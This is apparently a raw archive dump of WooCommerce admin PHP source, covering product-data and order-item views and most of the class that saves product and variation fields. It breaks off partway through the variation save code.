		$sale_price_dates_to   = $sale_price_dates_to_timestamp ? date_i18n( 'Y-m-d', $sale_price_dates_to_timestamp ) : '';

		echo '<p class="form-field sale_price_dates_fields">
				<label for="_sale_price_dates_from">' . esc_html__( 'Sale price dates', 'woocommerce' ) . '</label>
				<input type="text" class="short" name="_sale_price_dates_from" id="_sale_price_dates_from" value="' . esc_attr( $sale_price_dates_from ) . '" placeholder="' . esc_html( _x( 'From&hellip;', 'placeholder', 'woocommerce' ) ) . ' YYYY-MM-DD" maxlength="10" pattern="' . esc_attr( apply_filters( 'woocommerce_date_input_html_pattern', '[0-9]{4}-(0[1-9]|1[012])-(0[1-9]|1[0-9]|2[0-9]|3[01])' ) ) . '" />
				<input type="text" class="short" name="_sale_price_dates_to" id="_sale_price_dates_to" value="' . esc_attr( $sale_price_dates_to ) . '" placeholder="' . esc_html( _x( 'To&hellip;', 'placeholder', 'woocommerce' ) ) . '  YYYY-MM-DD" maxlength="10" pattern="' . esc_attr( apply_filters( 'woocommerce_date_input_html_pattern', '[0-9]{4}-(0[1-9]|1[012])-(0[1-9]|1[0-9]|2[0-9]|3[01])' ) ) . '" />
				<a href="#" class="description cancel_sale_schedule">' . esc_html__( 'Cancel', 'woocommerce' ) . '</a>' . wc_help_tip( __( 'The sale will start at 00:00:00 of "From" date and end at 23:59:59 of "To" date.', 'woocommerce' ) ) . '
			</p>';

		do_action( 'woocommerce_product_options_pricing' );
		?>
	</div>

	<div class="options_group show_if_downloadable hidden">
		<div class="form-field downloadable_files">
			<label><?php esc_html_e( 'Downloadable files', 'woocommerce' ); ?></label>
			<table class="widefat">
				<thead>
					<tr>
						<th class="sort">&nbsp;</th>
						<th><?php esc_html_e( 'Name', 'woocommerce' ); ?> <?php echo wc_help_tip( __( 'This is the name of the download shown to the customer.', 'woocommerce' ) ); ?></th>
						<th colspan="2"><?php esc_html_e( 'File URL', 'woocommerce' ); ?> <?php echo wc_help_tip( __( 'This is the URL or absolute path to the file which customers will get access to. URLs entered here should already be encoded.', 'woocommerce' ) ); ?></th>
						<th>&nbsp;</th>
					</tr>
				</thead>
				<tbody>
					<?php
					$downloadable_files = $product_object->get_downloads( 'edit' );
					if ( $downloadable_files ) {
						foreach ( $downloadable_files as $key => $file ) {
							include __DIR__ . '/html-product-download.php';
						}
					}
					?>
				</tbody>
				<tfoot>
					<tr>
						<th colspan="5">
							<a href="#" class="button insert" data-row="
							<?php
								$key  = '';
								$file = array(
									'file' => '',
									'name' => '',
								);
								ob_start();
								require __DIR__ . '/html-product-download.php';
								echo esc_attr( ob_get_clean() );
								?>
							"><?php esc_html_e( 'Add File', 'woocommerce' ); ?></a>
						</th>
					</tr>
				</tfoot>
			</table>
		</div>
		<?php
		woocommerce_wp_text_input(
			array(
				'id'                => '_download_limit',
				'value'             => -1 === $product_object->get_download_limit( 'edit' ) ? '' : $product_object->get_download_limit( 'edit' ),
				'label'             => __( 'Download limit', 'woocommerce' ),
				'placeholder'       => __( 'Unlimited', 'woocommerce' ),
				'description'       => __( 'Leave blank for unlimited re-downloads.', 'woocommerce' ),
				'type'              => 'number',
				'custom_attributes' => array(
					'step' => '1',
					'min'  => '0',
				),
			)
		);

		woocommerce_wp_text_input(
			array(
				'id'                => '_download_expiry',
				'value'             => -1 === $product_object->get_download_expiry( 'edit' ) ? '' : $product_object->get_download_expiry( 'edit' ),
				'label'             => __( 'Download expiry', 'woocommerce' ),
				'placeholder'       => __( 'Never', 'woocommerce' ),
				'description'       => __( 'Enter the number of days before a download link expires, or leave blank.', 'woocommerce' ),
				'type'              => 'number',
				'custom_attributes' => array(
					'step' => '1',
					'min'  => '0',
				),
			)
		);

		do_action( 'woocommerce_product_options_downloads' );
		?>
	</div>

	<?php if ( wc_tax_enabled() ) : ?>
		<div class="options_group show_if_simple show_if_external show_if_variable">
			<?php
			woocommerce_wp_select(
				array(
					'id'          => '_tax_status',
					'value'       => $product_object->get_tax_status( 'edit' ),
					'label'       => __( 'Tax status', 'woocommerce' ),
					'options'     => array(
						'taxable'  => __( 'Taxable', 'woocommerce' ),
						'shipping' => __( 'Shipping only', 'woocommerce' ),
						'none'     => _x( 'None', 'Tax status', 'woocommerce' ),
					),
					'desc_tip'    => 'true',
					'description' => __( 'Define whether or not the entire product is taxable, or just the cost of shipping it.', 'woocommerce' ),
				)
			);

			woocommerce_wp_select(
				array(
					'id'          => '_tax_class',
					'value'       => $product_object->get_tax_class( 'edit' ),
					'label'       => __( 'Tax class', 'woocommerce' ),
					'options'     => wc_get_product_tax_class_options(),
					'desc_tip'    => 'true',
					'description' => __( 'Choose a tax class for this product. Tax classes are used to apply different tax rates specific to certain types of product.', 'woocommerce' ),
				)
			);

			do_action( 'woocommerce_product_options_tax' );
			?>
		</div>
	<?php endif; ?>

	<?php do_action( 'woocommerce_product_options_general_product_data' ); ?>
</div>
PK�3\�w��*meta-boxes/views/html-product-download.phpnu�[���<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<tr>
	<td class="sort"></td>
	<td class="file_name">
		<input type="text" class="input_text" placeholder="<?php esc_attr_e( 'File name', 'woocommerce' ); ?>" name="_wc_file_names[]" value="<?php echo esc_attr( $file['name'] ); ?>" />
		<input type="hidden" name="_wc_file_hashes[]" value="<?php echo esc_attr( $key ); ?>" />
	</td>
	<td class="file_url"><input type="text" class="input_text" placeholder="<?php esc_attr_e( 'http://', 'woocommerce' ); ?>" name="_wc_file_urls[]" value="<?php echo esc_attr( $file['file'] ); ?>" /></td>
	<td class="file_url_choose" width="1%"><a href="#" class="button upload_file_button" data-choose="<?php esc_attr_e( 'Choose file', 'woocommerce' ); ?>" data-update="<?php esc_attr_e( 'Insert file URL', 'woocommerce' ); ?>"><?php echo esc_html__( 'Choose file', 'woocommerce' ); ?></a></td>
	<td width="1%"><a href="#" class="delete"><?php esc_html_e( 'Delete', 'woocommerce' ); ?></a></td>
</tr>
PK�3\z�m�\\)meta-boxes/views/html-order-item-meta.phpnu�[���<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

$hidden_order_itemmeta = apply_filters(
	'woocommerce_hidden_order_itemmeta',
	array(
		'_qty',
		'_tax_class',
		'_product_id',
		'_variation_id',
		'_line_subtotal',
		'_line_subtotal_tax',
		'_line_total',
		'_line_tax',
		'method_id',
		'cost',
		'_reduced_stock',
		'_restock_refunded_items',
	)
);
?><div class="view">
	<?php if ( $meta_data = $item->get_formatted_meta_data( '' ) ) : ?>
		<table cellspacing="0" class="display_meta">
			<?php
			foreach ( $meta_data as $meta_id => $meta ) :
				if ( in_array( $meta->key, $hidden_order_itemmeta, true ) ) {
					continue;
				}
				?>
				<tr>
					<th><?php echo wp_kses_post( $meta->display_key ); ?>:</th>
					<td><?php echo wp_kses_post( force_balance_tags( $meta->display_value ) ); ?></td>
				</tr>
			<?php endforeach; ?>
		</table>
	<?php endif; ?>
</div>
<div class="edit" style="display: none;">
	<table class="meta" cellspacing="0">
		<tbody class="meta_items">
			<?php if ( $meta_data = $item->get_formatted_meta_data( '' ) ) : ?>
				<?php
				foreach ( $meta_data as $meta_id => $meta ) :
					if ( in_array( $meta->key, $hidden_order_itemmeta, true ) ) {
						continue;
					}
					?>
					<tr data-meta_id="<?php echo esc_attr( $meta_id ); ?>">
						<td>
							<input type="text" maxlength="255" placeholder="<?php esc_attr_e( 'Name (required)', 'woocommerce' ); ?>" name="meta_key[<?php echo esc_attr( $item_id ); ?>][<?php echo esc_attr( $meta_id ); ?>]" value="<?php echo esc_attr( $meta->key ); ?>" />
							<textarea placeholder="<?php esc_attr_e( 'Value (required)', 'woocommerce' ); ?>" name="meta_value[<?php echo esc_attr( $item_id ); ?>][<?php echo esc_attr( $meta_id ); ?>]"><?php echo esc_textarea( rawurldecode( $meta->value ) ); ?></textarea>
						</td>
						<td width="1%"><button class="remove_order_item_meta button">&times;</button></td>
					</tr>
				<?php endforeach; ?>
			<?php endif; ?>
		</tbody>
		<tfoot>
			<tr>
				<td colspan="4"><button class="add_order_item_meta button"><?php esc_html_e( 'Add&nbsp;meta', 'woocommerce' ); ?></button></td>
			</tr>
		</tfoot>
	</table>
</div>
PK�3\m�ܼ�c�c-meta-boxes/class-wc-meta-box-product-data.phpnu�[���<?php
/**
 * Product Data
 *
 * Displays the product data box, tabbed, with several panels covering price, stock etc.
 *
 * @package  WooCommerce\Admin\Meta Boxes
 * @version  3.0.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WC_Meta_Box_Product_Data Class.
 */
class WC_Meta_Box_Product_Data {

	/**
	 * Output the metabox.
	 *
	 * @param WP_Post $post Post object.
	 */
	public static function output( $post ) {
		global $thepostid, $product_object;

		$thepostid      = $post->ID;
		$product_object = $thepostid ? wc_get_product( $thepostid ) : new WC_Product();

		wp_nonce_field( 'woocommerce_save_data', 'woocommerce_meta_nonce' );

		include __DIR__ . '/views/html-product-data-panel.php';
	}

	/**
	 * Show tab content/settings.
	 */
	private static function output_tabs() {
		global $post, $thepostid, $product_object;

		include __DIR__ . '/views/html-product-data-general.php';
		include __DIR__ . '/views/html-product-data-inventory.php';
		include __DIR__ . '/views/html-product-data-shipping.php';
		include __DIR__ . '/views/html-product-data-linked-products.php';
		include __DIR__ . '/views/html-product-data-attributes.php';
		include __DIR__ . '/views/html-product-data-advanced.php';
	}

	/**
	 * Return array of product type options.
	 *
	 * @return array
	 */
	private static function get_product_type_options() {
		return apply_filters(
			'product_type_options',
			array(
				'virtual'      => array(
					'id'            => '_virtual',
					'wrapper_class' => 'show_if_simple',
					'label'         => __( 'Virtual', 'woocommerce' ),
					'description'   => __( 'Virtual products are intangible and are not shipped.', 'woocommerce' ),
					'default'       => 'no',
				),
				'downloadable' => array(
					'id'            => '_downloadable',
					'wrapper_class' => 'show_if_simple',
					'label'         => __( 'Downloadable', 'woocommerce' ),
					'description'   => __( 'Downloadable products give access to a file upon purchase.', 'woocommerce' ),
					'default'       => 'no',
				),
			)
		);
	}

	/**
	 * Return array of tabs to show.
	 *
	 * @return array
	 */
	private static function get_product_data_tabs() {
		$tabs = apply_filters(
			'woocommerce_product_data_tabs',
			array(
				'general'        => array(
					'label'    => __( 'General', 'woocommerce' ),
					'target'   => 'general_product_data',
					'class'    => array( 'hide_if_grouped' ),
					'priority' => 10,
				),
				'inventory'      => array(
					'label'    => __( 'Inventory', 'woocommerce' ),
					'target'   => 'inventory_product_data',
					'class'    => array( 'show_if_simple', 'show_if_variable', 'show_if_grouped', 'show_if_external' ),
					'priority' => 20,
				),
				'shipping'       => array(
					'label'    => __( 'Shipping', 'woocommerce' ),
					'target'   => 'shipping_product_data',
					'class'    => array( 'hide_if_virtual', 'hide_if_grouped', 'hide_if_external' ),
					'priority' => 30,
				),
				'linked_product' => array(
					'label'    => __( 'Linked Products', 'woocommerce' ),
					'target'   => 'linked_product_data',
					'class'    => array(),
					'priority' => 40,
				),
				'attribute'      => array(
					'label'    => __( 'Attributes', 'woocommerce' ),
					'target'   => 'product_attributes',
					'class'    => array(),
					'priority' => 50,
				),
				'variations'     => array(
					'label'    => __( 'Variations', 'woocommerce' ),
					'target'   => 'variable_product_options',
					'class'    => array( 'show_if_variable' ),
					'priority' => 60,
				),
				'advanced'       => array(
					'label'    => __( 'Advanced', 'woocommerce' ),
					'target'   => 'advanced_product_data',
					'class'    => array(),
					'priority' => 70,
				),
			)
		);

		// Sort tabs based on priority.
		uasort( $tabs, array( __CLASS__, 'product_data_tabs_sort' ) );

		return $tabs;
	}

	/**
	 * Callback to sort product data tabs on priority.
	 *
	 * @since 3.1.0
	 * @param int $a First item.
	 * @param int $b Second item.
	 *
	 * @return bool
	 */
	private static function product_data_tabs_sort( $a, $b ) {
		if ( ! isset( $a['priority'], $b['priority'] ) ) {
			return -1;
		}

		if ( $a['priority'] === $b['priority'] ) {
			return 0;
		}

		return $a['priority'] < $b['priority'] ? -1 : 1;
	}

	/**
	 * Filter callback for finding variation attributes.
	 *
	 * @param  WC_Product_Attribute $attribute Product attribute.
	 * @return bool
	 */
	private static function filter_variation_attributes( $attribute ) {
		return true === $attribute->get_variation();
	}

	/**
	 * Show options for the variable product type.
	 */
	public static function output_variations() {
		global $post, $wpdb, $product_object;

		$variation_attributes   = array_filter( $product_object->get_attributes(), array( __CLASS__, 'filter_variation_attributes' ) );
		$default_attributes     = $product_object->get_default_attributes();
		$variations_count       = absint( apply_filters( 'woocommerce_admin_meta_boxes_variations_count', $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(ID) FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'product_variation' AND post_status IN ('publish', 'private')", $post->ID ) ), $post->ID ) );
		$variations_per_page    = absint( apply_filters( 'woocommerce_admin_meta_boxes_variations_per_page', 15 ) );
		$variations_total_pages = ceil( $variations_count / $variations_per_page );

		include __DIR__ . '/views/html-product-data-variations.php';
	}

	/**
	 * Prepare downloads for save.
	 *
	 * @param array $file_names File names.
	 * @param array $file_urls File urls.
	 * @param array $file_hashes File hashes.
	 *
	 * @return array
	 */
	private static function prepare_downloads( $file_names, $file_urls, $file_hashes ) {
		$downloads = array();

		if ( ! empty( $file_urls ) ) {
			$file_url_size = count( $file_urls );

			for ( $i = 0; $i < $file_url_size; $i ++ ) {
				if ( ! empty( $file_urls[ $i ] ) ) {
					$downloads[] = array(
						'name'        => wc_clean( $file_names[ $i ] ),
						'file'        => wp_unslash( trim( $file_urls[ $i ] ) ),
						'download_id' => wc_clean( $file_hashes[ $i ] ),
					);
				}
			}
		}
		return $downloads;
	}

	/**
	 * Prepare children for save.
	 *
	 * @return array
	 */
	private static function prepare_children() {
		return isset( $_POST['grouped_products'] ) ? array_filter( array_map( 'intval', (array) $_POST['grouped_products'] ) ) : array(); // phpcs:ignore WordPress.Security.NonceVerification.Missing
	}

	/**
	 * Prepare attributes for save.
	 *
	 * @param array $data Attribute data.
	 *
	 * @return array
	 */
	public static function prepare_attributes( $data = false ) {
		$attributes = array();

		if ( ! $data ) {
			$data = stripslashes_deep( $_POST ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
		}

		if ( isset( $data['attribute_names'], $data['attribute_values'] ) ) {
			$attribute_names         = $data['attribute_names'];
			$attribute_values        = $data['attribute_values'];
			$attribute_visibility    = isset( $data['attribute_visibility'] ) ? $data['attribute_visibility'] : array();
			$attribute_variation     = isset( $data['attribute_variation'] ) ? $data['attribute_variation'] : array();
			$attribute_position      = $data['attribute_position'];
			$attribute_names_max_key = max( array_keys( $attribute_names ) );

			for ( $i = 0; $i <= $attribute_names_max_key; $i++ ) {
				if ( empty( $attribute_names[ $i ] ) || ! isset( $attribute_values[ $i ] ) ) {
					continue;
				}
				$attribute_id   = 0;
				$attribute_name = wc_clean( esc_html( $attribute_names[ $i ] ) );

				if ( 'pa_' === substr( $attribute_name, 0, 3 ) ) {
					$attribute_id = wc_attribute_taxonomy_id_by_name( $attribute_name );
				}

				$options = isset( $attribute_values[ $i ] ) ? $attribute_values[ $i ] : '';

				if ( is_array( $options ) ) {
					// Term ids sent as array.
					$options = wp_parse_id_list( $options );
				} else {
					// Terms or text sent in textarea.
					$options = 0 < $attribute_id ? wc_sanitize_textarea( esc_html( wc_sanitize_term_text_based( $options ) ) ) : wc_sanitize_textarea( esc_html( $options ) );
					$options = wc_get_text_attributes( $options );
				}

				if ( empty( $options ) ) {
					continue;
				}

				$attribute = new WC_Product_Attribute();
				$attribute->set_id( $attribute_id );
				$attribute->set_name( $attribute_name );
				$attribute->set_options( $options );
				$attribute->set_position( $attribute_position[ $i ] );
				$attribute->set_visible( isset( $attribute_visibility[ $i ] ) );
				$attribute->set_variation( isset( $attribute_variation[ $i ] ) );
				$attributes[] = apply_filters( 'woocommerce_admin_meta_boxes_prepare_attribute', $attribute, $data, $i );
			}
		}
		return $attributes;
	}

	/**
	 * Prepare attributes for a specific variation or defaults.
	 *
	 * @param  array  $all_attributes List of attribute keys.
	 * @param  string $key_prefix Attribute key prefix.
	 * @param  int    $index Attribute array index.
	 * @return array
	 */
	private static function prepare_set_attributes( $all_attributes, $key_prefix = 'attribute_', $index = null ) {
		$attributes = array();

		if ( $all_attributes ) {
			foreach ( $all_attributes as $attribute ) {
				if ( $attribute->get_variation() ) {
					$attribute_key = sanitize_title( $attribute->get_name() );

					if ( ! is_null( $index ) ) {
						$value = isset( $_POST[ $key_prefix . $attribute_key ][ $index ] ) ? wp_unslash( $_POST[ $key_prefix . $attribute_key ][ $index ] ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
					} else {
						$value = isset( $_POST[ $key_prefix . $attribute_key ] ) ? wp_unslash( $_POST[ $key_prefix . $attribute_key ] ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
					}

					if ( $attribute->is_taxonomy() ) {
						// Don't use wc_clean as it destroys sanitized characters.
						$value = sanitize_title( $value );
					} else {
						$value = html_entity_decode( wc_clean( $value ), ENT_QUOTES, get_bloginfo( 'charset' ) ); // WPCS: sanitization ok.
					}

					$attributes[ $attribute_key ] = $value;
				}
			}
		}

		return $attributes;
	}

	/**
	 * Save meta box data.
	 *
	 * @param int     $post_id WP post id.
	 * @param WP_Post $post Post object.
	 */
	public static function save( $post_id, $post ) {
		// phpcs:disable WordPress.Security.NonceVerification.Missing
		// Process product type first so we have the correct class to run setters.
		$product_type = empty( $_POST['product-type'] ) ? WC_Product_Factory::get_product_type( $post_id ) : sanitize_title( wp_unslash( $_POST['product-type'] ) );
		$classname    = WC_Product_Factory::get_product_classname( $post_id, $product_type ? $product_type : 'simple' );
		$product      = new $classname( $post_id );
		$attributes   = self::prepare_attributes();
		$stock        = null;

		// Handle stock changes.
		if ( isset( $_POST['_stock'] ) ) {
			if ( isset( $_POST['_original_stock'] ) && wc_stock_amount( $product->get_stock_quantity( 'edit' ) ) !== wc_stock_amount( wp_unslash( $_POST['_original_stock'] ) ) ) {
				/* translators: 1: product ID 2: quantity in stock */
				WC_Admin_Meta_Boxes::add_error( sprintf( __( 'The stock has not been updated because the value has changed since editing. Product %1$d has %2$d units in stock.', 'woocommerce' ), $product->get_id(), $product->get_stock_quantity( 'edit' ) ) );
			} else {
				$stock = wc_stock_amount( wp_unslash( $_POST['_stock'] ) );
			}
		}

		// Handle dates.
		$date_on_sale_from = '';
		$date_on_sale_to   = '';

		// Force date from to beginning of day.
		if ( isset( $_POST['_sale_price_dates_from'] ) ) {
			$date_on_sale_from = wc_clean( wp_unslash( $_POST['_sale_price_dates_from'] ) );

			if ( ! empty( $date_on_sale_from ) ) {
				$date_on_sale_from = date( 'Y-m-d 00:00:00', strtotime( $date_on_sale_from ) ); // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
			}
		}

		// Force date to to the end of the day.
		if ( isset( $_POST['_sale_price_dates_to'] ) ) {
			$date_on_sale_to = wc_clean( wp_unslash( $_POST['_sale_price_dates_to'] ) );

			if ( ! empty( $date_on_sale_to ) ) {
				$date_on_sale_to = date( 'Y-m-d 23:59:59', strtotime( $date_on_sale_to ) ); // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
			}
		}

		$errors = $product->set_props(
			array(
				'sku'                => isset( $_POST['_sku'] ) ? wc_clean( wp_unslash( $_POST['_sku'] ) ) : null,
				'purchase_note'      => isset( $_POST['_purchase_note'] ) ? wp_kses_post( wp_unslash( $_POST['_purchase_note'] ) ) : '',
				'downloadable'       => isset( $_POST['_downloadable'] ),
				'virtual'            => isset( $_POST['_virtual'] ),
				'featured'           => isset( $_POST['_featured'] ),
				'catalog_visibility' => isset( $_POST['_visibility'] ) ? wc_clean( wp_unslash( $_POST['_visibility'] ) ) : null,
				'tax_status'         => isset( $_POST['_tax_status'] ) ? wc_clean( wp_unslash( $_POST['_tax_status'] ) ) : null,
				'tax_class'          => isset( $_POST['_tax_class'] ) ? sanitize_title( wp_unslash( $_POST['_tax_class'] ) ) : null,
				'weight'             => isset( $_POST['_weight'] ) ? wc_clean( wp_unslash( $_POST['_weight'] ) ) : null,
				'length'             => isset( $_POST['_length'] ) ? wc_clean( wp_unslash( $_POST['_length'] ) ) : null,
				'width'              => isset( $_POST['_width'] ) ? wc_clean( wp_unslash( $_POST['_width'] ) ) : null,
				'height'             => isset( $_POST['_height'] ) ? wc_clean( wp_unslash( $_POST['_height'] ) ) : null,
				'shipping_class_id'  => isset( $_POST['product_shipping_class'] ) ? absint( wp_unslash( $_POST['product_shipping_class'] ) ) : null,
				'sold_individually'  => ! empty( $_POST['_sold_individually'] ),
				'upsell_ids'         => isset( $_POST['upsell_ids'] ) ? array_map( 'intval', (array) wp_unslash( $_POST['upsell_ids'] ) ) : array(),
				'cross_sell_ids'     => isset( $_POST['crosssell_ids'] ) ? array_map( 'intval', (array) wp_unslash( $_POST['crosssell_ids'] ) ) : array(),
				'regular_price'      => isset( $_POST['_regular_price'] ) ? wc_clean( wp_unslash( $_POST['_regular_price'] ) ) : null,
				'sale_price'         => isset( $_POST['_sale_price'] ) ? wc_clean( wp_unslash( $_POST['_sale_price'] ) ) : null,
				'date_on_sale_from'  => $date_on_sale_from,
				'date_on_sale_to'    => $date_on_sale_to,
				'manage_stock'       => ! empty( $_POST['_manage_stock'] ),
				'backorders'         => isset( $_POST['_backorders'] ) ? wc_clean( wp_unslash( $_POST['_backorders'] ) ) : null,
				'stock_status'       => isset( $_POST['_stock_status'] ) ? wc_clean( wp_unslash( $_POST['_stock_status'] ) ) : null,
				'stock_quantity'     => $stock,
				'low_stock_amount'   => isset( $_POST['_low_stock_amount'] ) && '' !== $_POST['_low_stock_amount'] ? wc_stock_amount( wp_unslash( $_POST['_low_stock_amount'] ) ) : '',
				'download_limit'     => isset( $_POST['_download_limit'] ) && '' !== $_POST['_download_limit'] ? absint( wp_unslash( $_POST['_download_limit'] ) ) : '',
				'download_expiry'    => isset( $_POST['_download_expiry'] ) && '' !== $_POST['_download_expiry'] ? absint( wp_unslash( $_POST['_download_expiry'] ) ) : '',
				// Those are sanitized inside prepare_downloads.
				'downloads'          => self::prepare_downloads(
					isset( $_POST['_wc_file_names'] ) ? wp_unslash( $_POST['_wc_file_names'] ) : array(), // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
					isset( $_POST['_wc_file_urls'] ) ? wp_unslash( $_POST['_wc_file_urls'] ) : array(), // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
					isset( $_POST['_wc_file_hashes'] ) ? wp_unslash( $_POST['_wc_file_hashes'] ) : array() // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
				),
				'product_url'        => isset( $_POST['_product_url'] ) ? esc_url_raw( wp_unslash( $_POST['_product_url'] ) ) : '',
				'button_text'        => isset( $_POST['_button_text'] ) ? wc_clean( wp_unslash( $_POST['_button_text'] ) ) : '',
				'children'           => 'grouped' === $product_type ? self::prepare_children() : null,
				'reviews_allowed'    => ! empty( $_POST['comment_status'] ) && 'open' === $_POST['comment_status'],
				'attributes'         => $attributes,
				'default_attributes' => self::prepare_set_attributes( $attributes, 'default_attribute_' ),
			)
		);

		if ( is_wp_error( $errors ) ) {
			WC_Admin_Meta_Boxes::add_error( $errors->get_error_message() );
		}

		/**
		 * Set props before save.
		 *
		 * @since 3.0.0
		 */
		do_action( 'woocommerce_admin_process_product_object', $product );

		$product->save();

		if ( $product->is_type( 'variable' ) ) {
			$original_post_title = isset( $_POST['original_post_title'] ) ? wc_clean( wp_unslash( $_POST['original_post_title'] ) ) : '';
			$post_title          = isset( $_POST['post_title'] ) ? wc_clean( wp_unslash( $_POST['post_title'] ) ) : '';

			$product->get_data_store()->sync_variation_names( $product, $original_post_title, $post_title );
		}

		do_action( 'woocommerce_process_product_meta_' . $product_type, $post_id );
		// phpcs:enable WordPress.Security.NonceVerification.Missing
	}

	/**
	 * Save variation meta box data.
	 *
	 * @param int     $post_id WP post id.
	 * @param WP_Post $post Post object.
	 */
	public static function save_variations( $post_id, $post ) {
		global $wpdb;

		// phpcs:disable WordPress.Security.NonceVerification.Missing
		if ( isset( $_POST['variable_post_id'] ) ) {
			$parent = wc_get_product( $post_id );
			$parent->set_default_attributes( self::prepare_set_attributes( $parent->get_attributes(), 'default_attribute_' ) );
			$parent->save();

			$max_loop   = max( array_keys( wp_unslash( $_POST['variable_post_id'] ) ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			$data_store = $parent->get_data_store();
			$data_store->sort_all_product_variations( $parent->get_id() );
			$new_variation_menu_order_id = ! empty( $_POST['new_variation_menu_order_id'] ) ? wc_clean( wp_unslash( $_POST['new_variation_menu_order_id'] ) ) : false;
			$new_variation_menu_order_value = ! empty( $_POST['new_variation_menu_order_value'] ) ? wc_clean( wp_unslash( $_POST['new_variation_menu_order_value'] ) ) : false;

			// Only perform this operation if setting menu order via the prompt.
			if ( $new_variation_menu_order_id && $new_variation_menu_order_value ) {
				/*
				 * We need to gather all the variations with menu order that is
				 * equal or greater than the menu order that is newly set and
				 * increment them by one so that we can correctly insert the updated
				 * variation menu order.
				 */
				$wpdb->query(
					$wpdb->prepare(
						"UPDATE {$wpdb->posts} SET menu_order = menu_order + 1 WHERE post_type = 'product_variation' AND post_parent = %d AND post_status = 'publish' AND menu_order >= %d AND ID != %d",
						$post_id,
						$new_variation_menu_order_value,
						$new_variation_menu_order_id
					)
				);
			}

			for ( $i = 0; $i <= $max_loop; $i++ ) {

				if ( ! isset( $_POST['variable_post_id'][ $i ] ) ) {
					continue;
				}
				$variation_id = absint( $_POST['variable_post_id'][ $i ] );
				$variation    = wc_get_product_object( 'variation', $variation_id );
				$stock        = null;

				// Handle stock changes.
				if ( isset( $_POST['variable_stock'], $_POST['variable_stock'][ $i ] ) ) {
					if ( isset( $_POST['variable_original_stock'], $_POST['variable_original_stock'][ $i ] ) && wc_stock_amount( $variation->get_stock_quantity( 'edit' ) ) !== wc_stock_amount( wp_unslash( $_POST['variable_original_stock'][ $i ] ) ) ) {
						/* translators: 1: product ID 2: quantity in stock */
						WC_Admin_Meta_Boxes::add_error( sprintf( __( 'The stock has not been updated because the value has changed since editing. Product %1$d has %2$d units in stock.', 'woocommerce' ), $variation->get_id(), $variation->get_stock_quantity( 'edit' ) ) );
					} else {
						$stock = wc_stock_amount( wp_unslash( $_POST['variable_stock'][ $i ] ) );
					}
				}

				// Handle dates.
				$date_on_sale_from = '';
				$date_on_sale_to   = '';

				// Force date from to beginning of day.
				if ( isset( $_POST['variable_sale_price_dates_from'][ $i ] ) ) {
					$date_on_sale_from = wc_clean( wp_unslash( $_POST['variable_sale_price_dates_from'][ $i ] ) );

					if ( ! empty( $date_on_sale_from ) ) {
						$date_on_sale_from = date( 'Y-m-d 00:00:00', strtotime( $date_on_sale_from ) ); // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
					}
				}

				// Force date to to the end of the day.
				if ( isset( $_POST['variable_sale_price_dates_to'][ $i ] ) ) {
					$date_on_sale_to = wc_clean( wp_unslash( $_POST['variable_sale_price_dates_to'][ $i ] ) );

					if ( ! empty( $date_on_sale_to ) ) {
						$date_on_sale_to = date( 'Y-m-d 23:59:59', strtotime( $date_on_sale_to ) ); // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
					}
				}

				$errors = $variation->set_props(
					array(
						'status'            => isset( $_POST['variable_enabled'][ $i ] ) ? 'publish' : 'private',
						'menu_order'        => isset( $_POST['variation_menu_order'][ $i ] ) ? wc_clean( wp_unslash( $_POST['variation_menu_order'][ $i ] ) ) : null,
						'regular_price'     => isset( $_POST['variable_regular_price'][ $i ] ) ? wc_clean( wp_unslash( $_POST['variable_regular_price'][ $i ] ) ) : null,
						'sale_price'        => isset( $_POST['variable_sale_price'][ $i ] ) ? wc_clean( wp_unslash( $_POST['variable_sale_price'][ $i ] ) ) : null,
						'virtual'           => isset( $_POST['variable_is_virtual'][ $i ] ),
						'downloadable'      => isset( $_POST['variable_is_downloadable'][ $i ] ),
						'date_on_sale_from' => $date_on_sale_from,
						'date_on_sale_to'   => $date_on_sale_to,
						'description'       => isset( $_POST['variable_description'][ $i ] ) ? wp_kses_post( wp_unslash( $_POST['variable_description'][ $i ] ) ) : null,
						'download_limit'    => isset( $_POST['variable_download_limit'][ $i ] ) ? wc_clean( wp_unslash( $_POST['variable_download_limit'][ $i ] ) ) : null,
						'download_expiry'   => isset( $_POST['variable_download_expiry'][ $i ] ) ? wc_clean( wp_unslash( $_POST['variable_download_expiry'][ $i ] ) ) : null,
						// Those are sanitized inside prepare_downloads.
						'downloads'         => self::prepare_downloads(
							isset( $_POST['_wc_variation_file_names'][ $variation_id ] ) ? wp_unslash( $_POST['_wc_variation_file_names'][ $variation_id ] ) : array(), // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
							isset( $_POST['_wc_variation_file_urls'][ $variation_id ] ) ? wp_unslash( $_POST['_wc_variation_file_urls'][ $variation_id ] ) : array(), // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
							isset( $_POST['_wc_variation_file_hashes'][ $variation_id ] ) ? wp_unslash( $_POST['_wc_variation_file_hashes'][ $variation_id ] ) : array() // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
						),
						'manage_stock'      => isset( $_POST['variable_manage_stock'][ $i ] ),
						'stock_quantity'    => $stock,
						'low_stock_amount'  => isset( $_POST['variable_low_stock_amount'][ $i ] ) && '' !== $_POST['variable_low_stock_amount'][ $i ] ? wc_stock_amount( wp_unslash( $_POST['variable_low_stock_amount'][ $i ] ) ) : '',
